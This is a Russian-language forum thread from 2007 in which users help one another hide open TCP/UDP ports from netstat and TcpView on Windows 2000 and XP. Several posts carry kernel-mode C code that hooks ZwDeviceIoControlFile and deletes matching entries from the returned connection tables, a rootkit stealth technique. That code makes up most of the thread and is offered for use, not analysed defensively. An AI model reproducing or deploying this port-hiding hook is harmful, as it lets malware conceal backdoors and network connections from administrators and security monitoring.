Скрытие портов.

Тема в разделе "WASM.NT.KERNEL", создана пользователем X_k, 8 авг 2007.

  1. X_k

    X_k New Member

    Публикаций:
    0
    Регистрация:
    14 июл 2006
    Сообщения:
    34
    Всем привет. Вот прочитал статью про то как стать невидимым в WinNT. Решил попробовать кое-что реализовать. Точнее - скрытие портов. Для WinXP не составило особого труда это сделать. То есть при запуске netstat порт отлично скрывается. Нашёл утилиту TcpView, насколько я знаю, написана она с использованием исходного кода netstat. При запуске консольной версии этой утилиты - порты также успешно скрываются. Но при запуске версии утилиты с GUI, скрываемый порт из списка не изчезает. (Список обновляется каждую секунду) Может кто-нибудь знает почему? Очень странно, так как наличие GUI вроде ничего поменять не должно.
    Основной вопрос связан со скрытием портов в Win2k. Перехват функции осуществляется успешно. Приведу код скрытия:
    Код (Text):
    1. if ( DeviceIoControlCode != 0x00210012)
    2.             return Result;
    3.  
    4.         DPRINT( "ports enumerated\n" );
    5.        
    6.         if ( sizeof(TDI_CONNECTION_IN) == InBufferLength )
    7.         {
    8.             InBuf = (TDI_CONNECTION_IN*)InBuffer;
    9.  
    10.             if ( InBuf->RemoteAddressLength == 3 || InBuf->RemoteAddressLength == 4 )
    11.             {
    12.                 OutBuf = (TDI_CONNECTION_OUT*)OutBuffer;
    13.  
    14.                 for ( j = 0; j < HIDEPORT_MAX_HIDE_PORTS; j++ )
    15.                 {
    16.                     if ( ntohs(OutBuf->ReceivedTsdus) == iPorts[j] )
    17.                     {
    18.                         DPRINT( "match port!\n" );
    19.                         memset(OutBuf,0,OutBufferLength);
    20.                         OutBufferLength = 0;
    21.                         pIoStatusBlock->Information = 0;
    22.                         return STATUS_INVALID_ADDRESS;
    23.                     }
    24.                 }
    25.             }
    26.         }
    Судя по дебаг информации нужный порт находится, но обнуление данных и возврат STATUS_INVALID_ADDRESS ничего не дают. То есть порт не скрывается. Может я неправильно удаляю OutBuffer? Или не то возвращаю?
     
  2. X_k

    X_k New Member

    Публикаций:
    0
    Регистрация:
    14 июл 2006
    Сообщения:
    34
    О великие гуру! Неужели нет никаких предположений?) Хотя бы преположений...
     
  3. Stub

    Stub New Member

    Публикаций:
    0
    Регистрация:
    11 май 2004
    Сообщения:
    311
    Адрес:
    Siberia
    где-то на rootkit.com видел по теме сурс.
     
  4. X_k

    X_k New Member

    Публикаций:
    0
    Регистрация:
    14 июл 2006
    Сообщения:
    34
    Я вот шарил уже по этому ресурсу, не нашёл. Если можно ссылку пожалуйста дай.
     
  5. gilg

    gilg New Member

    Публикаций:
    0
    Регистрация:
    19 май 2005
    Сообщения:
    527
    В Windows XP и старше для получения информации об открытых портах используется не один IOCTL (как в Windows 2000), а три. Смотри netstat -? и смотри хелп в MSDN по структурам MIB_TCPROW, MIB_TCPEXROW.
     
  6. X_k

    X_k New Member

    Публикаций:
    0
    Регистрация:
    14 июл 2006
    Сообщения:
    34
    Ну в Windows XP всё прекрасно скрывается. Гораздо более интересует Windows 2000... То есть, как нужно изменить выходные данные функции NtDeviceIoControlFile чтобы скрывался определённый порт?
     
  7. gilg

    gilg New Member

    Публикаций:
    0
    Регистрация:
    19 май 2005
    Сообщения:
    527
    ??? Ты же вроде написал в первом посте, что у тебя все скрывается?
    Вообще надо модифицировать список, затерев в нем удаляемое соединение. Обнуление результат дает только на Win2000, да и то, насколько помню, не со всеми мониторами соединений
     
  8. X_k

    X_k New Member

    Публикаций:
    0
    Регистрация:
    14 июл 2006
    Сообщения:
    34
    Так вот мне и нужно скрыть порт в Win2000. Там возвращается не список, а структура в выходном буфере. В статье написано, что выходной буфер надо затереть и вернуть определённый статус. При проделывании всего этого порт всё-равно виден.
     
  9. gilg

    gilg New Member

    Публикаций:
    0
    Регистрация:
    19 май 2005
    Сообщения:
    527
    Список соединений возвращается в массиве структур. В простейшем варианте это массив MIB_TCPROW. Ставишь свою completion routine и в ней из этого массива удаляешь элемент со своим соединением. netstat и tcpview больше ничего не видят.
     
  10. X_k

    X_k New Member

    Публикаций:
    0
    Регистрация:
    14 июл 2006
    Сообщения:
    34
    Я привёл в самом первом посте пример удаления записи о порте. Что там неверно? Ведь всё сделано как описано в статье. Я удалил элемент...
     
  11. slow

    slow New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2004
    Сообщения:
    615
    у jiurl'a так

    Код (Text):
    1. NTSTATUS NewZwDeviceIoControlFile(
    2.  
    3. IN HANDLE FileHandle,
    4.  
    5. IN HANDLE Event OPTIONAL,
    6.  
    7. IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
    8.  
    9. IN PVOID ApcContext OPTIONAL,
    10.  
    11. OUT PIO_STATUS_BLOCK IoStatusBlock,
    12.  
    13. IN ULONG IoControlCode,
    14.  
    15. IN PVOID InputBuffer OPTIONAL,
    16.  
    17. IN ULONG InputBufferLength,
    18.  
    19. OUT PVOID OutputBuffer OPTIONAL,
    20.  
    21. IN ULONG OutputBufferLength
    22.  
    23. )
    24.  
    25. {
    26.  
    27. NTSTATUS rc;
    28.  
    29.  
    30.  
    31. rc = ((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile)) (
    32.  
    33. FileHandle,
    34.  
    35. Event,
    36.  
    37. ApcRoutine,
    38.  
    39. ApcContext,
    40.  
    41. IoStatusBlock,
    42.  
    43. IoControlCode,
    44.  
    45. InputBuffer,
    46.  
    47. InputBufferLength,
    48.  
    49. OutputBuffer,
    50.  
    51. OutputBufferLength
    52.  
    53. );
    54.  
    55.  
    56.  
    57. if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX)
    58.  
    59. {
    60.  
    61. return(rc);
    62.  
    63. }
    64.  
    65.  
    66.  
    67. TCP_REQUEST_QUERY_INFORMATION_EX req;
    68.  
    69. TCPAddrEntry* TcpTable;
    70.  
    71. TCPAddrExEntry* TcpExTable;
    72.  
    73. ULONG numconn;
    74.  
    75. LONG i;
    76.  
    77.  
    78.  
    79. DbgPrint("JiurlPortHide: IOCTL_TCP_QUERY_INFORMATION_EX\n");
    80.  
    81.  
    82.  
    83. if( NT_SUCCESS( rc ) )
    84.  
    85. {
    86.  
    87. req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
    88.  
    89. req.ID.toi_entity.tei_instance = 0;
    90.  
    91. req.ID.toi_class = INFO_CLASS_PROTOCOL;
    92.  
    93. req.ID.toi_type = INFO_TYPE_PROVIDER;
    94.  
    95. req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;
    96.  
    97.  
    98.  
    99. if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) )
    100.  
    101. {
    102.  
    103. numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
    104.  
    105. TcpTable = (TCPAddrEntry*)OutputBuffer;
    106.  
    107.  
    108.  
    109. for( i=0; i<numconn; i++ )
    110.  
    111. {
    112.  
    113. if( ntohs(TcpTable[i].tae_ConnLocalPort) == PORTHIDE )
    114.  
    115. {
    116.  
    117. DbgPrint("JiurlPortHide: HidePort %d\n", ntohs(TcpTable[i].tae_ConnLocalPort));
    118.  
    119.  
    120.  
    121. memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry))
    122. );
    123.  
    124. numconn--;
    125.  
    126. i--;
    127.  
    128. }
    129.  
    130. }
    131.  
    132.  
    133.  
    134. IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
    135.  
    136. return(rc);
    137.  
    138. }
    139.  
    140.  
    141.  
    142.  
    143.  
    144. req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID;
    145.  
    146.  
    147.  
    148. if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) )
    149.  
    150. {
    151.  
    152. numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
    153.  
    154. TcpExTable = (TCPAddrExEntry*)OutputBuffer;
    155.  
    156.  
    157.  
    158. for( i=0; i<numconn; i++ )
    159.  
    160. {
    161.  
    162. if( ntohs(TcpExTable[i].tae_ConnLocalPort) == PORTHIDE )
    163.  
    164. {
    165.  
    166. DbgPrint("JiurlPortHide: HidePort %d\n",ntohs(TcpTable[i].tae_ConnLocalPort));
    167.  
    168.  
    169.  
    170. memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry))
    171. );
    172.  
    173. numconn--;
    174.  
    175. i--;
    176.  
    177. }
    178.  
    179. }
    180.  
    181.  
    182.  
    183. IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
    184.  
    185. return(rc);
    186.  
    187. }
    188.  
    189. }
    190.  
    191.  
    192.  
    193. return(rc);
    194.  
    195. }
     
  12. X_k

    X_k New Member

    Публикаций:
    0
    Регистрация:
    14 июл 2006
    Сообщения:
    34
    Спасибо, но этот код для ХР. А я спрашивал про 2000!
     
  13. slow

    slow New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2004
    Сообщения:
    615
    а вот это не подойдет?

    Код (Text):
    1. typedef struct _GENERIC_RECORD
    2. {
    3.     ULONG entry1; //state on tcp, local addr on udp
    4.     ULONG entry2; //local addr on tcp, local port on udp
    5.     ULONG entry3; //local port on tcp
    6.     ULONG entry4; //remote addr on tcp
    7.     ULONG entry5; //remote port on tcp
    8. } GENERIC_RECORD, *PGENERIC_RECORD;
    9.  
    10.  
    11.  
    12.  
    13.  
    14.  
    15. NTSTATUS
    16. NTAPI
    17. NewZwDeviceIoControlFile(
    18.     IN HANDLE               FileHandle,
    19.     IN HANDLE               Event OPTIONAL,
    20.     IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
    21.     IN PVOID                ApcContext OPTIONAL,
    22.     OUT PIO_STATUS_BLOCK    IoStatusBlock,
    23.     IN ULONG                IoControlCode,
    24.     IN PVOID                InputBuffer OPTIONAL,
    25.     IN ULONG                InputBufferLength,
    26.     OUT PVOID               OutputBuffer OPTIONAL,
    27.     IN ULONG                OutputBufferLength
    28. )
    29. {
    30.     NTSTATUS ntRes = ((ZWDICF)OldZwDeviceIoControlFile)(
    31.                                 FileHandle,
    32.                                 Event,
    33.                                 ApcRoutine,
    34.                                 ApcContext,
    35.                                 IoStatusBlock,
    36.                                 IoControlCode,
    37.                                 InputBuffer,
    38.                                 InputBufferLength,
    39.                                 OutputBuffer,
    40.                                 OutputBufferLength
    41.                                 );
    42.     if (!NT_SUCCESS(ntRes))
    43.     {
    44.         return ntRes;
    45.     }
    46.    
    47.     if (IoControlCode != 0x120003)
    48.     {
    49.         return ntRes;
    50.     }
    51.    
    52.     POBJECT_NAME_INFORMATION ObjectName;
    53.     char ObjectNameBuf[512];
    54.     ULONG ReturnLen;
    55.     ObjectName = (POBJECT_NAME_INFORMATION)ObjectNameBuf;
    56.     ObjectName->Name.MaximumLength = 500;
    57.     ZwQueryObject( FileHandle, ObjectNameInfo, ObjectName, sizeof(ObjectNameBuf), &ReturnLen );
    58.    
    59.     char ObjectNameMBS[261];    
    60.     wcstombs(ObjectNameMBS, ObjectName->Name.Buffer, sizeof(ObjectNameMBS));
    61.    
    62.     if (stricmp(ObjectNameMBS, "\\Device\\Tcp") != 0)
    63.     {
    64.         return ntRes;
    65.     }
    66.    
    67.     PBYTE input = (PBYTE)InputBuffer;
    68.     if (InputBufferLength < 17)
    69.     {
    70.         return ntRes;
    71.     }
    72.    
    73.     bool tcp = false;
    74.     /*
    75.     if its tcp, then the first item is
    76.     state, which we need to ignore
    77.     */
    78.     ULONG recordSize = 0;
    79.     if (input[0] == 0x00)
    80.     {
    81.         tcp = true;
    82.         recordSize = sizeof(MIB_TCPROW);
    83.         //tcp
    84.         if (input[16] == 0x02)
    85.         {
    86.             //extended
    87.             recordSize += 4;
    88.         }
    89.     }
    90.     else
    91.     {
    92.         //udp
    93.         recordSize = sizeof(MIB_UDPROW);
    94.         //extended
    95.         if (input[16] == 0x02)
    96.         {
    97.             recordSize += 4;
    98.         }
    99.     }
    100.    
    101.     ULONG entryCount = IoStatusBlock->Information / recordSize;
    102.    
    103.     bool done;
    104.     PGENERIC_RECORD data = (PGENERIC_RECORD)OutputBuffer;
    105.    
    106.     ULONG i;
    107.    
    108.     ULONG ip;
    109.     USHORT port;
    110.    
    111.     i = 0;
    112.    
    113.     while (i < entryCount)
    114.     {
    115.         ip = tcp ? data->entry2 : data->entry1;
    116.         port = (USHORT)(tcp ? data->entry3 : data->entry2);
    117.         // i use a linked list of records to hide,
    118.         // just replace this with your comparison
    119.         if (
    120.             matchesConMask( ip, port, g_ConList )
    121.            )
    122.         {
    123.             //local stuff
    124.             hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
    125.             IoStatusBlock->Information -= recordSize;
    126.             entryCount--;
    127.         }
    128.         else
    129.         // i use a linked list of records to hide,
    130.         // just replace this with your comparison
    131.         if (tcp && matchesConMask( data->entry4, (USHORT)data->entry5, g_ConList ) )
    132.         {
    133.             //remote stuff
    134.             hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
    135.             IoStatusBlock->Information -= recordSize;
    136.             entryCount--;
    137.         }
    138.         else
    139.         {            
    140.             data = (PGENERIC_RECORD)(((char *)data) + recordSize);
    141.             i++;
    142.         }
    143.     }
    144.    
    145.     return ntRes;
    146. }
     
  14. X_k

    X_k New Member

    Публикаций:
    0
    Регистрация:
    14 июл 2006
    Сообщения:
    34
    Вот по этой строке if (IoControlCode != 0x120003) можно сразу сказать, что код тоже для ХР...